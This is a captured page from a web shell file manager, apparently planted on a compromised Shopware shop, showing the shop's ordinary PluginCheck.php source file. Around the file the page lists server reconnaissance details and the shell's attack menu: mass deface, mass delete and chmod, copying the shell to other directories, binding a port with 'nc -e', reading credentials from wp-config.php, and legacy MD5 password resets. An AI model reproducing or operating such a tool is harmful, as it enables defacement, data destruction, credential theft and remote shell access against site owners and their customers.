WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/shop_styroporzuschnitte24_de/recovery/update/src/PluginCheck.php (5.71 KB)
<?php
/**
 * Shopware 5
 * Copyright (c) shopware AG
 *
 * According to our dual licensing model, this program can be used either
 * under the terms of the GNU Affero General Public License, version 3,
 * or under a proprietary license.
 *
 * The texts of the GNU Affero General Public License with an additional
 * permission and of our proprietary license can be found at and
 * in the LICENSE file you have received along with this program.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU Affero General Public License for more details.
 *
 * "Shopware" is a registered trademark of shopware AG.
 * The licensing of the program under the AGPLv3 does not imply a
 * trademark license. Therefore any rights, title and interest in
 * our trademarks remain entirely with us.
 */

namespace Shopware\Recovery\Update;

class PluginCheck
{
    /**
     * @var StoreApi
     */
    private $storeApi;

    /**
     * @var \PDO
     */
    private $conn;

    /**
     * @var string
     */
    private $shopwareVersion;

    /**
     * @param StoreApi $storeApi
     * @param \PDO     $conn
     * @param string   $shopwareVersion
     */
    public function __construct(StoreApi $storeApi, \PDO $conn, $shopwareVersion)
    {
        $this->storeApi = $storeApi;
        $this->conn     = $conn;
        $this->shopwareVersion = $shopwareVersion;
    }

    public function checkPlugins()
    {
        $localPluginNames = $this->getCustomPluginNames();

        $localPluginNames = [
            'Shizzle',
            'SwagUpdateCheck',
            'SwagAboCommerce',
            'SwagFooBar',
        ];

        $version = $this->getNumericShopwareVersion($this->shopwareVersion);

        $result1 = $this->storeApi->getProductsByNamesAndVersion($localPluginNames, $version);
        $compatiblePlugins = $this->getCompatiblePlugins($result1, $localPluginNames);

        $result2 = $this->storeApi->getProductsByNames($localPluginNames);
        $inCompatiblePlugins = $this->getInCompatiblePlugins($result2, $localPluginNames);

        $result = [];

        foreach ($compatiblePlugins as $pluginName => $info) {
            $result[] = [
                'plugin_name' => $pluginName,
                'in_store'     => true,
                'compatible'  => true,
                'link'        => $info['store_url'],
                'shopware_compatible' => $info['shopware_compatible']
            ];
        }

        foreach ($inCompatiblePlugins as $pluginName => $info) {
            $result[] = [
                'plugin_name' => $pluginName,
                'in_store'     => true,
                'compatible'  => false,
                'link'        => $info['store_url'],
                'shopware_compatible' => $info['shopware_compatible']
            ];
        }

        foreach ($localPluginNames as $pluginName) {
            $result[] = [
                'plugin_name' => $pluginName,
                'in_store'     => false,
                'compatible'  => false,
                'link'        => null,
                'shopware_compatible' => null
            ];
        }

        return $result;
    }

    /**
     * Internal helper function to get the passed shopware version as a numeric value with four positions.
     *
     * @param string $version
     * @return int
     */
    private function getNumericShopwareVersion($version)
    {
        $paths = explode('.', $version);
        $paths = array_map('intval', $paths);
        if (count($paths) === 3) {
            $paths[] = 0;
        }

        return (int) implode('', $paths);
    }

    /**
     * Returns a array of all custom plugin names installed
     *
     * @return string[]
     */
    private function getCustomPluginNames()
    {
        $sql = <<<EOT
SELECT name FROM s_core_plugins
WHERE source != "Default"
AND name != "PluginManager"
AND name != "StoreAPI"
EOT;
        $result = $this->conn->query($sql)->fetchAll(\PDO::FETCH_COLUMN);

        return $result;
    }

    /**
     * @param $result1
     * @param  array $localPluginNames
     * @return mixed
     */
    private function getCompatiblePlugins($result1, &$localPluginNames)
    {
        if (empty($localPluginNames)) {
            return [];
        }

        $compatiblePlugins = [];

        foreach ($result1 as $result) {
            foreach ($result['plugin_names'] as $pluginName) {
                if (!in_array($pluginName, $localPluginNames)) {
                    continue;
                }

                $compatiblePlugins[$pluginName] = [
                    'store_url' => $result['attributes']['store_url'],
                    'shopware_compatible' => $result['attributes']['shopware_compatible'],
                ];

                unset($localPluginNames[array_search($pluginName, $localPluginNames)]);
            }
        }

        return $compatiblePlugins;
    }

    /**
     * @param $result1
     * @param  array $localPluginNames
     * @return mixed
     */
    private function getInCompatiblePlugins($result1, &$localPluginNames)
    {
        $compatiblePlugins = [];

        foreach ($result1 as $result) {
            foreach ($result['plugin_names'] as $pluginName) {
                if (!in_array($pluginName, $localPluginNames)) {
                    continue;
                }

                $compatiblePlugins[$pluginName] = [
                    'store_url' => $result['attributes']['store_url'],
                    'shopware_compatible' => $result['attributes']['shopware_compatible'],
                ];

                unset($localPluginNames[array_search($pluginName, $localPluginNames)]);
            }
        }

        return $compatiblePlugins;
    }
}
namawaktuukuranownerpermaksi
..
Command/ 2016-11-07 15:488.57 KB 76129f60960:kundendxwrx-rx-r
Console/ 2016-11-07 15:483.66 KB 76129f60960:kundendxwrx-rx-r
Controller/ 2016-11-07 15:4816.42 KB 76129f60960:kundendxwrx-rx-r
DependencyInjection/ 2016-11-07 15:486.24 KB 76129f60960:kundendxwrx-rx-r
Steps/ 2016-11-07 15:4816.8 KB 76129f60960:kundendxwrx-rx-r
Struct/ 2016-11-07 15:482.5 KB 76129f60960:kundendxwrx-rx-r
CleanupFilesFinder.php 2016-11-07 15:481.72 KB 76129f60960:kunden-xw-x-----
edt
DummyPluginFinder.php 2016-11-07 15:482.38 KB 76129f60960:kunden-xw-x-----
edt
FilesystemFactory.php 2016-11-07 15:482.41 KB 76129f60960:kunden-xw-x-----
edt
PathBuilder.php 2016-11-07 15:482.91 KB 76129f60960:kunden-xw-x-----
edt
PluginCheck.php 2016-11-07 15:485.71 KB 76129f60960:kunden-xw-x-----
edt
StoreApi.php 2016-11-07 15:483.15 KB 76129f60960:kunden-xw-x-----
edt
Utils.php 2016-11-07 15:488.28 KB 76129f60960:kunden-xw-x-----
edt
app.php 2016-11-07 15:486.71 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/shop_styroporzuschnitte24_de/recovery/update/src
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK